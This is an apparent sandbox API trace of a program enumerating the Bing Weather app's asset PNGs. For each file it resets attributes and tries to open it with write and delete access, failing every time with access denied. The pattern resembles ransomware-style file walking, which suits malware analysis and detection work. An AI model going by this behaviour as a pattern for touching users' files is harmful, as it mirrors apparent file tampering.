	[0090.655] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.655] GetLastError () returned 0x5
	[0090.655] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.655] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d208cf7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d208cf7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d208cf7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.656] wcscmp (_String1="Weather_LogoSmall.targetsize-24.png", _String2=".") returned 1
	[0090.656] wcscmp (_String1="Weather_LogoSmall.targetsize-24.png", _String2="..") returned 1
	[0090.656] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.656] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.656] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.656] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png"
	[0090.656] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-24.png")) returned 0x20
	[0090.657] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.657] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.657] GetLastError () returned 0x5
	[0090.657] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.657] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.657] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d208cf7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d22ef50, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d22ef50, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x597, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-256.png", cAlternateFileName="")) returned 1
	[0090.657] wcscmp (_String1="Weather_LogoSmall.targetsize-256.png", _String2=".") returned 1
	[0090.657] wcscmp (_String1="Weather_LogoSmall.targetsize-256.png", _String2="..") returned 1
	[0090.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2d883a8
	[0090.657] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.657] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.657] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png"
	[0090.657] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-256.png")) returned 0x20
	[0090.660] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.660] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.660] GetLastError () returned 0x5
	[0090.660] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.660] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d22ef50, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d22ef50, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d22ef50, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-32.png", cAlternateFileName="")) returned 1
	[0090.660] wcscmp (_String1="Weather_LogoSmall.targetsize-32.png", _String2=".") returned 1
	[0090.660] wcscmp (_String1="Weather_LogoSmall.targetsize-32.png", _String2="..") returned 1
	[0090.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.661] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.661] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.661] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png"
	[0090.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-32.png")) returned 0x20
	[0090.661] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.661] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.661] GetLastError () returned 0x5
	[0090.661] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.662] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d22ef50, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d22ef50, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d22ef50, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-48.png", cAlternateFileName="")) returned 1
	[0090.662] wcscmp (_String1="Weather_LogoSmall.targetsize-48.png", _String2=".") returned 1
	[0090.662] wcscmp (_String1="Weather_LogoSmall.targetsize-48.png", _String2="..") returned 1
	[0090.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.662] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.662] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.662] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png"
	[0090.662] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-48.png")) returned 0x20
	[0090.663] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.664] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.664] GetLastError () returned 0x5
	[0090.664] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.664] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2551a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2551a9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2551a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_SplashScreen.scale-200.png", cAlternateFileName="")) returned 1
	[0090.664] wcscmp (_String1="Weather_SplashScreen.scale-200.png", _String2=".") returned 1
	[0090.664] wcscmp (_String1="Weather_SplashScreen.scale-200.png", _String2="..") returned 1
	[0090.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x2d883a8
	[0090.664] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.664] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.664] wcscat (in: _Dest=0x2d883a8, _Source="Weather_SplashScreen.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png"
	[0090.664] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_splashscreen.scale-200.png")) returned 0x20
	[0090.665] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.665] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_splashscreen.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.665] GetLastError () returned 0x5
	[0090.665] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.665] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2551a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2551a9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2551a9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_TileLargeSquare.scale-200.png", cAlternateFileName="")) returned 1
	[0090.665] wcscmp (_String1="Weather_TileLargeSquare.scale-200.png", _String2=".") returned 1
	[0090.665] wcscmp (_String1="Weather_TileLargeSquare.scale-200.png", _String2="..") returned 1
	[0090.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebc3e8
	[0090.665] wcscpy (in: _Dest=0x4ebc3e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.665] wcscat (in: _Dest=0x4ebc3e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.666] wcscat (in: _Dest=0x4ebc3e8, _Source="Weather_TileLargeSquare.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png"
	[0090.666] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilelargesquare.scale-200.png")) returned 0x20
	[0090.667] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.667] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilelargesquare.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.668] GetLastError () returned 0x5
	[0090.668] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileLargeSquare.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc3e8) returned 1
	[0090.668] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2551a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d2a1660, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d2a1660, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_TileMediumSquare.scale-200.png", cAlternateFileName="")) returned 1
	[0090.668] wcscmp (_String1="Weather_TileMediumSquare.scale-200.png", _String2=".") returned 1
	[0090.668] wcscmp (_String1="Weather_TileMediumSquare.scale-200.png", _String2="..") returned 1
	[0090.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebcee0
	[0090.668] wcscpy (in: _Dest=0x4ebcee0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.668] wcscat (in: _Dest=0x4ebcee0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.668] wcscat (in: _Dest=0x4ebcee0, _Source="Weather_TileMediumSquare.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png"
	[0090.668] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilemediumsquare.scale-200.png")) returned 0x20
	[0090.671] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.671] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilemediumsquare.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.671] GetLastError () returned 0x5
	[0090.671] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.671] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcee0) returned 1
